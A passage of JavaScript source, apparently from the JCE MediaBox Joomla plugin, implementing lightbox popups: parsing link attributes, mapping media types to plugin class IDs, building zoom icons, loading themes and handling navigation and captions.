                    if (/;=/.test(a)) {
                        attribs = a.replace(/=([^;"]+)/g, function (x, z) {
                            return '[' + z + ']';
                        });

                    }
                    if (group && attribs) {
                        return group + ';' + attribs;
                    }
                    return group || attribs || '';
                });

                DOM.attribute(el, 'rel', r);
            });

        },
        /**
         * Translate popup labels
         * @param {String} s Theme HTML
         */
        translate: function (s) {
            if (!s) {
                s = this.popup.theme;
            }
            s = s.replace(/\{#(\w+?)\}/g, function (a, b) {
                return JCEMediaBox.options.popup.labels[b];
            });

            return s;
        },
        /**
         * Returns a styles object from a parameter
         * @param {Object} o
         */
        styles: function (o) {
            var x = [];
            if (!o)
                return {};

            JCEMediaBox.each(o.split(';'), function (s, i) {
                s = s.replace(/(.*):(.*)/, function (a, b, c) {
                    return '"' + b + '":"' + c + '"';
                });

                x.push(s);
            });

            return this.parseJSON('{' + x.join(',') + '}');
        },
        /**
         * Get the file type from the url, type attribute or className
         * @param {Object} el
         */
        getType: function (el) {
            var o = {}, type = '';

            // Media types
            if (el.type && /(director|windowsmedia|mplayer|quicktime|real|divx|flash|pdf)/.test(el.type)) {
                type = /(director|windowsmedia|mplayer|quicktime|real|divx|flash|pdf)/.exec(el.type)[1];
            }

            o = this.getAddon(el.src);

            if (o && o.type) {
                type = o.type;
            }

            return type || el.type || 'iframe';
        },
        /**
         * Determine media type and properties
         * @param {Object} c
         */
        mediatype: function (c) {
            var ci, cb, mt;

            c = /(director|windowsmedia|mplayer|quicktime|real|divx|flash|pdf)/.exec(c);

            switch (c[1]) {
                case 'director':
                case 'application/x-director':
                    ci = '166b1bca-3f9c-11cf-8075-444553540000';
                    cb = 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0';
                    mt = 'application/x-director';
                    break;
                case 'windowsmedia':
                case 'mplayer':
                case 'application/x-mplayer2':
                    ci = '6bf52a52-394a-11d3-b153-00c04f79faa6';
                    cb = 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701';
                    mt = 'application/x-mplayer2';
                    break;
                case 'quicktime':
                case 'video/quicktime':
                    ci = '02bf25d5-8c17-4b23-bc80-d3488abddc6b';
                    cb = 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0';
                    mt = 'video/quicktime';
                    break;
                case 'real':
                case 'realaudio':
                case 'audio/x-pn-realaudio-plugin':
                    ci = 'cfcdaa03-8be4-11cf-b84b-0020afbbccfa';
                    cb = '';
                    mt = 'audio/x-pn-realaudio-plugin';
                    break;
                case 'divx':
                case 'video/divx':
                    ci = '67dabfbf-d0ab-41fa-9c46-cc0f21721616';
                    cb = 'http://go.divx.com/plugin/DivXBrowserPlugin.cab';
                    mt = 'video/divx';
                    break;
                case 'pdf':
                case 'application/pdf':
                    ci = 'ca8a9780-280d-11cf-a24d-444553540000';
                    cb = '';
                    mt = 'application/pdf';
                    break;
                default:
                case 'flash':
                case 'application/x-shockwave-flash':
                    ci = 'd27cdb6e-ae6d-11cf-96b8-444553540000';
                    cb = 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0';
                    mt = 'application/x-shockwave-flash';
                    break;
            }
            return {
                'classid': ci,
                'codebase': cb,
                'mediatype': mt
            };
        },
        /**
         * Determine whether the url is local
         * @param {Object} s
         */
        islocal: function (s) {
            if (/^(\w+:)?\/\//.test(s)) {
                return new RegExp('^(' + JCEMediaBox.site + ')').test(s);
            } else {
                return true;
            }
        },
        protocolRelative: function (url) {
            if (JCEMediaBox.isIE6) {
                return url;
            }

            var local = document.location.href;

            // external ssl
            if (url.indexOf('https://') !== -1) {
                return url;
            }

            // local ssl, use protocol relative for non-ssl external
            if (local.indexOf('https://') !== -1) {
                return url.replace(/http(s)?:\/\//i, '//');
            }

            return url;
        },
        /**
         * Get the width of the container frame
         */
        frameWidth: function () {
            var w = 0, el = this.frame;

            JCEMediaBox.each(['left', 'right'], function (s) {
                w = w + parseFloat(JCEMediaBox.DOM.style(el, 'padding-' + s));
            });

            return parseFloat(this.frame.clientWidth - w);
        },
        /**
         * Get the height of the container frame
         */
        frameHeight: function () {
            var h = 0, el = this.frame, DIM = JCEMediaBox.Dimensions;

            JCEMediaBox.each(['top', 'bottom'], function (s) {
                h = h + parseFloat(JCEMediaBox.DOM.style(el, 'padding-' + s));
            });

            h = h + ((JCEMediaBox.isIE6 || JCEMediaBox.isIE7) ? DIM.getScrollbarWidth() : 0);

            return parseInt(DIM.getHeight()) - h;
        },
        /**
         * Get the width of the usable window
         */
        width: function () {
            return this.frameWidth() - JCEMediaBox.Dimensions.getScrollbarWidth();
        },
        /**
         * Get the height of the usable window less info divs
         */
        height: function () {
            var h = 0, t = this, each = JCEMediaBox.each, DIM = JCEMediaBox.Dimensions;
            each(['top', 'bottom'], function (s) {
                var el = t['info-' + s];
                if (el) {
                    h = h + parseInt(DIM.outerHeight(el));
                }
            });

            return this.frameHeight() - h;
        },
        /**
         * Print the page contents (TODO)
         */
        printPage: function () {
            return false;
        },
        /**
         * Create a popup zoom icon
         * @param {Object} el Popup link element
         */
        zoom: function (el) {
            var self = this;
            var DOM = JCEMediaBox.DOM, extend = JCEMediaBox.extend, each = JCEMediaBox.each;
            var children = el.childNodes;

            // Create basic zoom element
            var zoom = DOM.create('span');

            // add IE6 identifier class
            if (JCEMediaBox.isIE6) {
                DOM.addClass(el, 'ie6');
            }

            var cls = DOM.attribute(el, 'class');
            // replace icon- with zoom- to avoid bootstrap etc. conflicts
            cls = cls.replace('icon-', 'zoom-', 'g');
            DOM.attribute(el, 'class', cls);

            var img = DOM.select('img', el);

            // If child is an image (thumbnail)
            if (img && img.length) {
                // get first img tag
                var child = img[0];

                var align = child.getAttribute('align');
                var vspace = child.getAttribute('vspace');
                var hspace = child.getAttribute('hspace');

                var styles = {};

                // Transfer margin, padding and border
                each(['top', 'right', 'bottom', 'left'], function (pos) {
                    // Set margin
                    styles['margin-' + pos] = DOM.style(child, 'margin-' + pos);
                    // Set padding
                    styles['padding-' + pos] = DOM.style(child, 'padding-' + pos);
                    // Set border
                    each(['width', 'style', 'color'], function (prop) {
                        styles['border-' + pos + '-' + prop] = DOM.style(child, 'border-' + pos + '-' + prop);
                    });
                });

                // Correct from deprecated align attribute
                if (/\w+/.test(align)) {
                    extend(styles, {
                        'float': /left|right/.test(align) ? align : '',
                        'text-align': /top|middle|bottom/.test(align) ? align : ''
                    });
                }
                // Correct from deprecated vspace attribute
                if (vspace > 0) {
                    extend(styles, {
                        'margin-top': parseInt(vspace),
                        'margin-bottom': parseInt(vspace)
                    });
                }
                // Correct from deprecated hspace attribute
                if (hspace > 0) {
                    extend(styles, {
                        'margin-left': parseInt(hspace),
                        'margin-right': parseInt(hspace)
                    });
                }

                var w = child.getAttribute('width');
                var h = child.getAttribute('height');
                var ws = child.style.width;

                // get 'real' width and height
                var rh = child.height, rw = child.width;

                // we can only render the zoom icon if we have a valid dimensions for the image
                if (!w && !ws && !rw) {
                    // prevent loop
                    if (child.loaded) {
                        return false;
                    }

                    child.onload = function() {
                        child.loaded = true;

                        return self.zoom(el);
                    };

                    child.onerror = function() {
                        return false;
                    };

                    return false;
                }

                // height is set but not width, calculate width
                if (!w && h) {
                    w = h / rh * rw;
                }

                if (!w) {
                    // pixel value
                    if (/([0-9]+)(px)?$/.test(ws)) {
                        w = parseFloat(ws);
                        // other value
                    } else {
                        w = rw;
                    }
                }

                // add width values if set
                if (w) {
                    child.setAttribute('width', w);
                    styles.width = w;
                }

                // Add style alignment
                extend(styles, {
                    'text-align': child.style.textAlign
                });

                var float = DOM.style(child, 'float');

                if (float === "left" || float === "right") {
                    styles.float = float;
                }

                /**
                 * Private Internal function
                 * Build and place the icon
                 * @param {Object} el The Parent Link Element
                 * @param {Object} zoom The Zoom Element
                 * @param {Object} zoom The Child Element (Image)
                 * @param {Object} styles Computed Styles object
                 */
                function _buildIcon(el, zoom, child, styles) {
                    // Clone image as span element
                    var span = DOM.add(el, 'span', {
                        'class': 'jcemediabox-zoom-span',
                        'style': child.style.cssText
                    });

                    // Set styles
                    DOM.styles(span, styles);

                    if (DOM.hasClass(el.parentNode, 'wf_caption')) {
                        span.style.width = null;
                        DOM.style(span, 'max-width', DOM.style(el.parentNode, 'max-width'));
                    }

                    if (span.style.width) {
                        DOM.style(span, 'max-width', span.style.width);
                        span.style.width = null;
                    }

                    // Move the image into the parent SPAN
                    DOM.add(span, child);
                    // Move the zoom icon into the parent SPAN
                    DOM.add(span, zoom);

                    // Remove attributes that may affect layout
                    each(['style', 'align', 'border', 'hspace', 'vspace'], function (v, i) {
                        child.removeAttribute(v);
                    });

                    // Add zoom-image class
                    DOM.addClass(zoom, 'jcemediabox-zoom-image');

                    // Set explicit positions for IE6 when zoom icon is png
                    if (JCEMediaBox.isIE6 && /\.png/i.test(DOM.style(zoom, 'background-image'))) {
                        DOM.png(zoom);
                    }

                    // Remove styles from image
                    DOM.styles(child, {
                        'margin': 0,
                        'padding': 0,
                        'float': 'none',
                        'border': 'none'
                    });
                }
                // build zoom icon
                _buildIcon(el, zoom, child, styles);
            } else {
                DOM.addClass(zoom, 'jcemediabox-zoom-link');
                if (DOM.hasClass(el, 'zoom-left')) {
                    DOM.addBefore(el, zoom);
                } else {
                    DOM.add(el, zoom);
                }
                // IE7 won't accept display:inherit
                if (JCEMediaBox.isIE7) {
                    DOM.style(zoom, 'display', 'inline-block');
                }
            }
            // Return zoom icon element
            return zoom;
        },
        /**
         * Process autopopups
         */
        auto: function () {
            var t = this, expires = JCEMediaBox.options.popup.cookie_expiry, dts, key;

            function makeID(src) {
                // use the current page URL for unique key
                var url = document.location.href;
                // base64 encode key and popup src
                var key = window.btoa(url + src);
                // remove non-word characters
                key = key.replace(/[^\w]/g, '');
                // keep it short
                key = key.substr(0, 24);

                return key;
            }

            JCEMediaBox.each(this.popups, function (el, i) {
                if (el.auto) {
                    if (el.auto == 'single') {
                        // use element ID or base64 key
                        key = el.id || makeID(el.src);

                        // get cookie
                        var cookie = t.getCookie('jcemediabox_' + key + '_' + i);

                        // create cookie with base64 key and expiry
                        if (!cookie) {
                            // create data if expiry set
                            if (expires) {
                                dts = new Date();
                                dts.setHours(expires * 24);
                            }

                            t.setCookie('jcemediabox_' + key + '_' + i, 1, dts);
                            t.start(el);
                        }
                    } else if (el.auto == 'multiple') {
                        t.start(el);
                    }
                }
            });

        },
        /**
         * Initilise popup and create global jcepopup variable
         * @param {Object} elements Optional array of popup elements
         */
        init: function () {
            window.jcepopup = this;
            this.create();
        },
        /**
         * Get popup objects
         * @param {String} s Optional selector
         * @param {Object} p Optional parent element popups contained within
         */
        getPopups: function (s, p) {
            var selector = 'a.jcebox, a.jcelightbox, a.jcepopup, area.jcebox, area.jcelightbox, area.jcepopup';
            return JCEMediaBox.DOM.select(s || selector, p);
        },
        getData: function (n) {
            var DOM = JCEMediaBox.DOM, each = JCEMediaBox.each, o = {}, data;
            var re = /\w+\[[^\]]+\]/;

            data = n.getAttribute('data-mediabox') || n.getAttribute('data-json');

            if (!data) {
                // try data-mediabox-* attributes (since 1.1.23, JCE 2.5.3)
                var i, attrs = n.attributes, x = 0;
                
                for (i = attrs.length - 1; i >= 0; i--) {
                    var attrName = attrs[i].name;
                    if (attrName && attrName.indexOf('data-mediabox-') !== -1) {
                        var attr = attrName.replace('data-mediabox-', '');
                        o[attr] = attrs[i].value;
                        x++;
                    }
                }
                
                if (x) {
                    return o;
                }

                var title = DOM.attribute(n, 'title');
                var rel = DOM.attribute(n, 'rel');

                if (title && re.test(title)) {
                    // convert to object
                    o = this.params(title);

                    // restore rel attribute
                    DOM.attribute(n, 'title', o.title || '');

                    return o;
                }

                if (rel && re.test(rel)) {
                    var args = [];

                    rel = rel.replace(/\b((\w+)\[(.*?)\])(;?)/g, function (a, b, c) {
                        args.push(b);
                        return '';
                    });

                    o = this.params(args) || {};

                    // restore rel attribute
                    DOM.attribute(n, 'rel', rel || o.rel || '');

                    return o;
                }
            } else {
                // remove data attributes
                n.removeAttribute('data-json');
                n.removeAttribute('data-mediabox');

                return this.params(data);
            }

            return o;
        },
        /**
         * Process a popup link and return properties object
         * @param {Object} el Popup link element
         */
        process: function (el) {
            var DOM = JCEMediaBox.DOM, data, o = {}, group = '', auto = false;

            // Fix title and rel and move parameters
            var title = el.title || '';
            var rel = el.rel || '';

            var src = el.href;

            // Legacy width/height values
            src = src.replace(/b(w|h)=([0-9]+)/g, function (s, k, v) {
                k = (k == 'w') ? 'width' : 'height';

                return k + '=' + v;
            });

            data = this.getData(el) || {};

            // Process rel attribute
            if (!/\w+\[[^\]]+\]/.test(rel)) {
                var rx = 'alternate|stylesheet|start|next|prev|contents|index|glossary|copyright|chapter|section|subsection|appendix|help|bookmark|nofollow|licence|tag|friend';
                var lb = '(lightbox(\[(.*?)\])?)';
                var lt = '(lyte(box|frame|show)(\[(.*?)\])?)';

                group = JCEMediaBox.trim(rel.replace(new RegExp('\s*(' + rx + '|' + lb + '|' + lt + ')\s*'), '', 'gi'));
            }

            // Get AREA parameters from URL if not set
            if (el.nodeName == 'AREA') {
                if (!data) {
                    data = this.params(src);
                }
                // Set AREA group
                group = group || 'AREA_ELEMENT';
                // set type
                if (!data.type) {
                    if (match = /\b(ajax|iframe|image|flash|director|shockwave|mplayer|windowsmedia|quicktime|realaudio|real|divx|pdf)\b/.exec(el.className)) {
                        data.type = match[0];
                    }
                }
            }

            // check for auto popup
            //if (el.id) {
            if (/autopopup-(single|multiple)/.test(el.className)) {
                auto = /(multiple)/.test(el.className) ? 'multiple' : 'single';
            }
            //}

            // get group from data object
            group = group || data.group || '';

            // Popup object
            JCEMediaBox.extend(o, {
                'src': src,
                'title': data.title || title,
                'group': DOM.hasClass(el, 'nogroup') ? '' : group,
                'type': data.type || el.type || '',
                'params': data,
                //'id'	: el.id || '',
                'auto': auto
            });

            // Remove type
            el.href = el.href.replace(/&type=(ajax|text\/html|text\/xml)/, '');

            return o;
        },
        /**
         * Create a popup from identifiable link or area elements
         * Load the popup theme
         * @param {Object} elements Optional array of popup elements
         */
        create: function (elements) {
            var t = this, each = JCEMediaBox.each, Event = JCEMediaBox.Event, DOM = JCEMediaBox.DOM, pageload = false, auto = false;

            // set pageload marker
            if (!elements) {
                pageload = true;
                this.popups = [];

                // Converts a legacy (window) popup into an inline popup
                if (JCEMediaBox.options.popup.legacy == 1) {
                    t.convertLegacy();
                }

                // Converts a lightbox popup into mediabox popup
                if (JCEMediaBox.options.popup.lightbox == 1) {
                    t.convertLightbox();
                }

                // Converts a shadowbox popup into mediabox popup
                if (JCEMediaBox.options.popup.shadowbox == 1) {
                    t.convertShadowbox();
                }
            }

            // get supplied elements or from jcepopup class
            this.elements = elements || this.getPopups();

            // Iterate through all found or specified popup links
            each(this.elements, function (el, i) {

                if (el.childNodes.length === 1 && el.firstChild.nodeName === "IMG") {
                    DOM.addClass(el, 'jcemediabox-image');
                }

                // Create zoom icon
                if (JCEMediaBox.options.popup.icons == 1 && el.nodeName == 'A' && !/(noicon|icon-none|noshow)/.test(el.className) && el.style.display != 'none') {
                    t.zoom(el);
                }

                // Simplify class identifier for css
                if (/(jcelightbox|jcebox)/.test(el.className)) {
                    DOM.removeClass(el, 'jcelightbox');
                    DOM.removeClass(el, 'jcebox');
                    DOM.addClass(el, 'jcepopup');
                }

                var o = t.process(el);

                t.popups.push(o);

                // new index if not a pageload
                if (!pageload) {
                    i = t.popups.length - 1;
                }

                // Add click event to link
                Event.add(el, 'click', function (e) {
                    Event.cancel(e);
                    return t.start(o, i);
                });

            });

            // if no elements are specified, must be a pageload
            if (pageload) {
                // set theme
                this.popuptheme = '';

                // Load the popup theme
                var theme = JCEMediaBox.options.theme;

                new JCEMediaBox.XHR({
                    success: function (text, xml) {
                        var re = /<!-- THEME START -->([\s\S]*?)<!-- THEME END -->/;
                        if (re.test(text)) {
                            text = re.exec(text)[1];
                        }
                        t.popuptheme = text;
                        // Process auto popups
                        if (!auto) {
                            t.auto();
                            auto = true;
                        }
                    }

                }).send(JCEMediaBox.site + 'plugins/system/jcemediabox/themes/' + theme + '/popup.html');
            }
        },
        /**
         * Public popup method
         * @param {String / Object} data Popup URL string or data object or element
         * @param {String} title Popup Title
         * @param {String} group Popup Group
         * @param {String} type Popup Type, eg: image, flash, ajax
         * @param {Object} params Popup Parameters Object
         */
        open: function (data, title, group, type, params) {
            var i, o = {};

            if (typeof data == 'string') {
                data = {
                    'src': data,
                    'title': title,
                    'group': group,
                    'type': type,
                    'params': params
                };
            }

            // process as an element
            if (typeof (data == 'object') && data.nodeName && (data.nodeName == 'A' || data.nodeName == 'AREA')) {
                i = JCEMediaBox.inArray(this.elements, data);

                if (i >= 0) {
                    return this.start(this.popups[i], i);
                }

                // process element
                var o = this.process(data);

                // add to array
                var x = this.popups.push(o);

                // start
                return this.start(o, x - 1);
            }

            return this.start(data);
        },
        /**
         * Start a popup
         * @param {Object} o The popup link object
         * @param {Object} i The popup index
         */
        start: function (p, i) {
            var n = 0, items = [], each = JCEMediaBox.each, len;

            // build popup window
            if (this.build()) {
                if (p.group) {
                    each(this.popups, function (o, x) {
                        if (o.group == p.group) {
                            len = items.push(o);
                            if (i && x == i) {
                                n = len - 1;
                            }
                        }
                    });

                    // Triggered popup
                    if (!p.auto && typeof i == 'undefined') {
                        items.push(p);
                        n = items.length - 1;
                    }
                } else {
                    items.push(p);
                }
                return this.show(items, n);
            }
        },
        /**
         * Build Popup structure
         */
        build: function () {
            var t = this, each = JCEMediaBox.each, DOM = JCEMediaBox.DOM, Event = JCEMediaBox.Event;

            if (!this.page) {
                // Create main page object
                this.page = DOM.add(document.body, 'div', {
                    id: 'jcemediabox-popup-page'
                });

                if (JCEMediaBox.isIE6) {
                    DOM.addClass(this.page, 'ie6');
                }

                if (JCEMediaBox.isIE7) {
                    DOM.addClass(this.page, 'ie7');
                }

                if (JCEMediaBox.isiOS) {
                    DOM.addClass(this.page, 'ios');
                }

                if (JCEMediaBox.isAndroid) {
                    DOM.addClass(this.page, 'android');
                }

                if (JCEMediaBox.options.popup.overlay == 1) {
                    // Create overlay
                    this.overlay = DOM.add(this.page, 'div', {
                        id: 'jcemediabox-popup-overlay',
                        style: {
                            'opacity': 0,
                            'background-color': JCEMediaBox.options.popup.overlaycolor
                        }
                    });
                }

                // Cancel if no theme
                if (!this.popuptheme) {
                    return false;
                }
                // Remove comments
                this.popuptheme = this.popuptheme.replace(/<!--(.*?)-->/g, '');
                // Translate
                this.popuptheme = this.translate(this.popuptheme);
                // Create Frame
                this.frame = DOM.add(this.page, 'div', {
                    id: 'jcemediabox-popup-frame'
                }, '<div id="jcemediabox-popup-body">' + this.popuptheme + '</div>');

                // Create all Popup structure objects
                each(DOM.select('*[id]', this.frame), function (el) {
                    var s = el.id.replace('jcemediabox-popup-', '');
                    t[s] = el;
                    DOM.hide(el);
                });

                if ((JCEMediaBox.isiOS || JCEMediaBox.isAndroid) && JCEMediaBox.isWebKit) {
                    // add iPad scroll fix
                    DOM.style(this.content, 'webkitOverflowScrolling', 'touch');
                }

                // Add close function to frame on click
                if (JCEMediaBox.options.popup.close == 2) {
                    Event.add(this.frame, 'click', function (e) {
                        if (e.target && e.target == t.frame) {
                            t.close();
                        }
                    });
                }

                // Setup Close link event
                if (this.closelink) {
                    Event.add(this.closelink, 'click', function () {
                        return t.close();
                    });

                }
                // Setup Cancel link event
                if (this.cancellink) {
                    Event.add(this.cancellink, 'click', function () {
                        return t.close();
                    });

                }
                // Setup Next link event
                if (this.next) {
                    Event.add(this.next, 'click', function () {
                        return t.nextItem();
                    });

                }
                // Setup Previous link event
                if (this.prev) {
                    Event.add(this.prev, 'click', function () {
                        return t.previousItem();
                    });

                }
                if (this.numbers) {
                    this.numbers.tmpHTML = this.numbers.innerHTML;
                }

                if (this.print) {
                    Event.add(this.print, 'click', function () {
                        return t.printPage();
                    });

                }
                // PNG Fix
                if (JCEMediaBox.isIE6) {
                    DOM.png(this.body);
                    each(DOM.select('*', this.body), function (el) {
                        // Exclude loaded content
                        if (DOM.attribute(el, 'id') == 'jcemediabox-popup-content') {
                            return;
                        }
                        DOM.png(el);
                    });

                }
            }
            return true;
        },
        /**
         * Show the popup window
         * @param {Array} items Array of popup objects
         * @param {Int} n Index of current popup
         */
        show: function (items, n) {
            var DOM = JCEMediaBox.DOM, DIM = JCEMediaBox.Dimensions, top = 0;
            this.items = items;
            this.bind(true);

            // Show popup
            DOM.show(this.body);

            // Get top position
            if (!/\d/.test(this.body.style.top)) {
                top = (DIM.getHeight() - DIM.outerHeight(this.body)) / 2;
            }

            // Set top position
            DOM.style(this.body, 'top', top);
            // Changes if IE6 or scrollpopup
            if (JCEMediaBox.isIE6 || JCEMediaBox.options.popup.scrolling == 'scroll') {
                DOM.addClass(this.page, 'scrolling');
                DOM.style(this.overlay, 'height', DIM.getScrollHeight());
                DOM.style(this.body, 'top', DIM.getScrollTop() + top);
            }            
            // Fade in overlay
            if (JCEMediaBox.options.popup.overlay == 1 && this.overlay) {
                DOM.show(this.overlay);
                JCEMediaBox.FX.animate(this.overlay, {
                    'opacity': JCEMediaBox.options.popup.overlayopacity
                }, JCEMediaBox.options.popup.fadespeed);
            }

            return this.change(n);
        },
        /**
         * Create event / key bindings
         * @param {Boolean} open Whether popup is opened or closed
         */

        // TODO - Resize popup when browser window resizes
        bind: function (open) {
            var t = this, isIE6 = JCEMediaBox.isIE6, each = JCEMediaBox.each, DOM = JCEMediaBox.DOM, Event = JCEMediaBox.Event, DIM = JCEMediaBox.Dimensions;

            if (isIE6) {
                each(DOM.select('select'), function (el) {
                    if (open) {
                        el.tmpStyle = el.style.visibility || '';
                    }
                    el.style.visibility = open ? 'hidden' : el.tmpStyle;
                });

            }
            if (JCEMediaBox.options.popup.hideobjects) {
                each(DOM.select('object, embed'), function (el) {
                    if (el.id == 'jcemediabox-popup-object')
                        return;
                    if (open) {
                        el.tmpStyle = el.style.visibility || '';
                    }
                    el.style.visibility = open ? 'hidden' : el.tmpStyle;
                });

            }
            var scroll = JCEMediaBox.options.popup.scrollpopup;
            if (open) {
                Event.add(document, 'keydown', function (e) {
                    t.listener(e);
                });

                if (isIE6) {
                    Event.add(window, 'scroll', function (e) {
                        DOM.style(t.overlay, 'height', JCEMediaBox.Dimensions.getScrollHeight());
                    });

                    Event.add(window, 'scroll', function (e) {
                        DOM.style(t.overlay, 'width', JCEMediaBox.Dimensions.getScrollWidth());
                    });

                }
            } else {
                if (isIE6 || !scroll) {
                    Event.remove(window, 'scroll');
                    Event.remove(window, 'resize');
                }
                Event.remove(document, 'keydown');
            }
        },
        /**
         * Keyboard listener
         * @param {Object} e Event
         */
        listener: function (e) {
            switch (e.keyCode) {
                case 27:
                    this.close();
                    break;
                case 37:
                    this.previousItem();
                    break;
                case 39:
                    this.nextItem();
                    break;
            }
        },
        /**
         * Process a popup in the group queue
         * @param {Object} n Queue position
         */
        queue: function (n) {
            var t = this;
            // Optional element
            var changed = false;

            JCEMediaBox.each(['top', 'bottom'], function (s) {
                var el = t['info-' + s];
                if (el) {
                    var v = JCEMediaBox.Dimensions.outerHeight(el);
                    var style = {};
                    style['top'] = (s == 'top') ? v : -v;
                    JCEMediaBox.FX.animate(el, style, JCEMediaBox.options.popup.scalespeed, function () {
                        if (!changed) {
                            changed = true;
                            JCEMediaBox.FX.animate(t.content, {
                                'opacity': 0
                            }, JCEMediaBox.options.popup.fadespeed, function () {
                                return t.change(n);
                            });

                        }
                    });

                }
            });

        },
        /**
         * Process the next popup in the group
         */
        nextItem: function () {
            if (this.items.length == 1)
                return false;
            var n = this.index + 1;

            if (n < 0 || n >= this.items.length) {
                return false;
            }
            return this.queue(n);
        },
        /**
         * Process the previous popup in the group
         */
        previousItem: function () {
            if (this.items.length == 1)
                return false;
            var n = this.index - 1;

            if (n < 0 || n >= this.items.length) {
                return false;
            }
            return this.queue(n);
        },
        /**
         * Set the popup information (caption, title, numbers)
         */
        info: function () {
            var each = JCEMediaBox.each, DOM = JCEMediaBox.DOM, Event = JCEMediaBox.Event;
            // Optional Element Caption/Title

            if (this.caption) {
                var title = this.active.title || '', text = this.active.caption || '', h = '';

                var ex = '([-!#$%&\'\*\+\\./0-9=?A-Z^_`a-z{|}~]+@[-!#$%&\'\*\+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+)';
                var ux = '((news|telnet|nttp|file|http|ftp|https)://[-!#$%&\'\*\+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'\*\+\\./0-9=?A-Z^_`a-z{|}~]+)';

                function processRe(h) {
                    h = h.replace(new RegExp(ex, 'g'), '<a href="mailto:$1" target="_blank" title="$1">$1</a>');
                    h = h.replace(new RegExp(ux, 'g'), '<a href="$1" target="_blank" title="$1">$1</a>');

                    return h;
                }

                if (title) {
                    h += '<h4>' + DOM.decode(title) + '</h4>';
                }

                if (text) {
                    h += '<p>' + DOM.decode(text) + '</p>';
                }                
                
                // set caption html (may be empty)
                this.caption.innerHTML = h;

                // hide caption container if empty
                if (h != '') {
                    // Process e-mail and urls
                    each(DOM.select('*', this.caption), function (el) {
                        if (el.nodeName != 'A') {
                            each(el.childNodes, function (n, i) {
                                if (n.nodeType == 3) {
                                    var s = n.innerText || n.textContent || n.data || null;
                                    if (s && /(@|:\/\/)/.test(s)) {
                                        if (s = processRe(s)) {
                                            n.parentNode.innerHTML = s;
                                        }
                                    }
                                }
                            });

                        }
                    });
                }
            }
            // Optional Element
            var t = this, len = this.items.length;

            if (this.numbers && len > 1) {
                var html = this.numbers.tmpHTML || '{$numbers}';

                if (/\{\$numbers\}/.test(html)) {
                    this.numbers.innerHTML = '';
                    for (var i = 0; i < len; i++) {
                        var n = i + 1;

                        var title = decodeURIComponent(this.items[i].title || n);

                        // Craete Numbers link
                        var link = DOM.add(this.numbers, 'a', {
                            'href': 'javascript:;',
                            'title': title,
                            'class': (this.index == i) ? 'active' : ''
                        }, n);
                        // add click event
                        Event.add(link, 'click', function (e) {
                            var x = parseInt(e.target.innerHTML) - 1;
                            if (t.index == x) {
                                return false;
                            }
                            return t.queue(x);
                        });

                    }
                }

                if (/\{\$(current|total)\}/.test(html)) {
                    this.numbers.innerHTML = html.replace('{$current}', this.index + 1).replace('{$total}', len);
                }
            } else {
                if (this.numbers) {
                    this.numbers.innerHTML = '';
                }
            }

            each(['top', 'bottom'], function (v, i) {
                var el = t['info-' + v];
                if (el) {
                    DOM.show(el);
                    each(DOM.select('*[id]', el), function (s) {
                        DOM.show(s);
                    });
                    DOM.style(el, 'visibility', 'hidden');
                }
            });

            // Show / Hide Previous and Next buttons
            DOM.hide(this.next);
            DOM.hide(this.prev);

            if (len > 1) {
                if (this.prev) {
                    if (this.index > 0) {
                        DOM.show(this.prev);
                    } else {
                        DOM.hide(this.prev);
                    }
                }
                if (this.next) {
                    if (this.index < len - 1) {
                        DOM.show(this.next);
                    } else {
                        DOM.hide(this.next);
                    }
                }
            }
        },
        /**
         * Change the popup
         * @param {Integer} n Popup number
         */
        change: function (n) {
            var t = this, extend = JCEMediaBox.extend, each = JCEMediaBox.each, inArray = JCEMediaBox.inArray, DOM = JCEMediaBox.DOM, Event = JCEMediaBox.Event, isIE = JCEMediaBox.isIE, DIM = JCEMediaBox.Dimensions;

            var p = {}, o, w, h;
            if (n < 0 || n >= this.items.length) {
                return false;
            }
            this.index = n;
            this.active = {};

            // Show Container
            DOM.show(this.container);
            // Show Loader
            if (this.loader) {
                DOM.show(this.loader);
            }
            // Show Cancel
            if (this.cancellink) {
                DOM.show(this.cancellink);
            }
            // Remove object
            if (this.object) {
                this.object = null;
            }

            this.content.innerHTML = '';

            o = this.items[n];

            // Get parameters from addon
            extend(p, this.getAddon(o.src, o.type));

            // delete alternate src
            delete o.params.src;

            // Get set parameters
            extend(p, o.params);

            var width = p.width || JCEMediaBox.options.popup.width || 0;
            var height = p.height || JCEMediaBox.options.popup.height || 0;

            if (width && /%/.test(width)) {
                width = DIM.getWidth() * parseInt(width) / 100;
            }

            if (height && /%/.test(height)) {
                height = DIM.getHeight() * parseInt(height) / 100;
            }

            var title = o.title || p.title || '';
            var caption = p.caption || '';

            if (/::/.test(title)) {
                var parts = title.split('::');
                title = JCEMediaBox.trim(parts[0]);
                caption = JCEMediaBox.trim(parts[1]);
            }

            // decode title
            title = decodeURIComponent(DOM.decode(title));
            // decode caption
            caption = decodeURIComponent(DOM.decode(caption));

            extend(this.active, {
                'src': p.src || o.src,
                'title': title,
                'caption': caption,
                'type': p.type || this.getType(o),
                'params': p || {},
                'width': width,
                'height': height
            });

            function toAbsolute(url) {
                var div = document.createElement('div');
                div.innerHTML = '<a href="' + url + '">x</a>';

                return div.firstChild.href;
            }

            function resolveMediaPath(s, absolute) {
                if (s && s.indexOf('://') === -1 && s.charAt(0) !== '/') {
                    s = JCEMediaBox.options.base + s;
                }

                if (absolute) {
                    return toAbsolute(s);
                }

                return s;
            }

            switch (this.active.type) {
                case 'image':
                case 'image/jpeg':
                case 'image/png':
                case 'image/gif':
                case 'image/bmp':
                    if (this.print && this.options.print) {
                        this.print.style.visibility = 'visible';
                    }

                    this.img = new Image();
                    this.img.onload = function () {
                        return t.setup();
                    };

                    this.img.onerror = function () {
                        t.img.error = true;
                        return t.setup();
                    };

                    this.img.src = this.active.src;

                    // fix for resize / transparency issues in IE
                    if (isIE) {
                        DOM.style(this.content, 'background-color', DOM.style(this.content, 'background-color'));
                    }

                    // allow image to be resized
                    if (p.width && !p.height) {
                        this.active.height = 0;
                    } else if (p.height && !p.width) {
                        this.active.width = 0;
                    }

                    break;
                case 'flash':
                case 'director':
                case 'shockwave':
                case 'mplayer':
                case 'windowsmedia':
                case 'quicktime':
